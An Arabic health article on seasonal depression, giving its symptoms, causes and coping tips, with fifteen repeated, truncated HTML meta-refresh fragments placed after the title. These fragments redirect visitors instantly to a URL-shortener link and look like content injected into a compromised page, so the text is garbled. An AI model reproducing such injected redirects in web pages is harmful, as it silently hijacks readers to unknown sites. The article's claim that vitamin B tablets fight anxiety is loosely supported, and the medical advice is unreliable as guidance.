تعرف على الاكتئاب الموسمى وما هي اعراضه واسبابه وعلاجه
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
equiv=”refresh” content=”0; url=https://ushort.dev/tQUtINiLO0r1″ />
الاكتئاب الموسمى أحد أنواع الإكتئاب المرتبطة بالتغيرات المناخية فهو يبدأ وينتهي تقريبا في نفس الأوقات من كل عام.
وأشهر حالات الاكتئاب الموسمي هي التي تبدأ في الخريف و تستمر حتى شهور الشتاء ،أما الاكتئاب الموسمي في فترة الصيف أوالربيع فهو لايحدث كثيرا
اعراض الاكتئاب الموسمى
_ التفكير في الانتحار
– اليأس
– فقدان الطاقة
– صعوبة التركيز
– مشاكل في النوم و الشهية
اسبابه :
– تغيرات في الساعة البيولوجية
– انخفاض السيروتونين ( هرمون السعادة ) نتيجة لقلة التعرض للشمس
– خلل في هرمون الميلاتونين وهو المسئول عن النوم و الحالة المزاجية.
طرق للتخلص على الإكتئاب الموسمي:
– تغيير الروتين و السلوك اليومي
– إنجاز المهام الأهم فالمهم لتجنب القلق الذي يولد الكآبة
– التفاؤل بالنظر الى الجانب المضيء في كل أمور الحياة
– الابتعاد عن العزلة و الاندماج مع الأشخاص المقربين لقلبك
– ممارسة الرياضة
– أخذ أقراص فيتامين ب المركبة فهي تقوي الأعصاب و تقاوم الشعور بالقلق و التوتر و العصبية
– اخيراً بعض الحالات تحتاج للعلاج بالضوء في العيادات المتخصصة
